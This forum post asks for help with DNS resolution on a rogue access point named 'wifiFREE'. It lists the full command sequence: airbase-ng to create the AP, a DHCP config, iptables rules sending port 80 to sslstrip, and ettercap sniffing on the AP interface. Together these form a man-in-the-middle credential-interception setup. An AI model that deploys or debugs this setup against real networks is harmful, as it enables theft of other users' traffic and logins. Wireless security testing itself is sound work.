Hi everybody.
I'm writing because i can't find any solution for my problem.
I'm testing on my network a FAKE AP, but i've a trouble with dns

My configuration is:

wlan0 is wireless network linked to my lan network
wlan1 is my ALFA Network that i want to use as fake ap

my ifconfig is:
eth0      Link encap:Ethernet  HWaddr 00:1c:25:95:70:18 
          UP BROADCAST MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)
          Interrupt:20 Memory:fc600000-fc620000

lo        Link encap:Local Loopback 
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:65536  Metric:1
          RX packets:228504 errors:0 dropped:0 overruns:0 frame:0
          TX packets:228504 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:34120287 (32.5 MiB)  TX bytes:34120287 (32.5 MiB)

wlan0     Link encap:Ethernet  HWaddr 00:16:ea:b1:5d:12 
          inet addr:172.16.1.157  Bcast:172.16.255.255  Mask:255.255.0.0
          inet6 addr: fe80::216:eaff:feb1:5d12/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:208708 errors:0 dropped:0 overruns:0 frame:0
          TX packets:125550 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:159616952 (152.2 MiB)  TX bytes:17668703 (16.8 MiB)

wlan1     Link encap:Ethernet  HWaddr 00:c0:ca:62:04:a9 
          UP BROADCAST MULTICAST  MTU:1500  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)

and my route -n is:

Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
0.0.0.0         172.16.1.254    0.0.0.0         UG    0      0        0 wlan0
172.16.0.0      0.0.0.0         255.255.0.0     U     0      0        0 wlan0

i've submit this command:

apt-get install dhcp3-server
gedit /etc/dhcpd.conf

authoritative;
default-lease-time 600;
max-lease-time 7200;
subnet 172.16.77.0 netmask 255.255.255.0 {
option routers 172.16.77.254;
option subnet-mask 255.255.255.0;
option domain-name "wifiFREE";
option domain-name-servers 172.16.77.254;
range 172.16.77.2 172.16.77.20;
}

airmon-ng
airmon-ng start wlan1
airbase-ng -c 11 -e wifiFREE mon0

ifconfig at0 172.16.77.254 netmask 255.255.255.0
ifconfig at0 mtu 1400
route add -net 172.16.77.0 netmask 255.255.255.0 gw 172.16.77.254
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain
iptables -t nat -A PREROUTING -p udp -j DNAT --to 172.16.1.254
iptables -P FORWARD ACCEPT
iptables --append FORWARD --in-interface at0 -j ACCEPT
iptables --table nat --append POSTROUTING --out-interface wlan0 -j MASQUERADE 
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
dhcpd -cf /etc/dhcpd.conf -pf /var/run/dhcpd.pid at0
/etc/init.d/isc-dhcp-server start
sslstrip -l 8080

ettercap -p -u -T -q -i at0

my ipad connected very well to fake network wifiFREE but when i open safarii cannot view any webpage. If with fing i ping 8.8.8.8 i've response and if in safari navigate to ip address i can see webpages.
I've try also with:

option domain-name-servers 8.8.8.8, 172.16.77.254;

but even so I cannot see web pages.
I'm going crazy and I cannot find any solution.
Please help me! TIA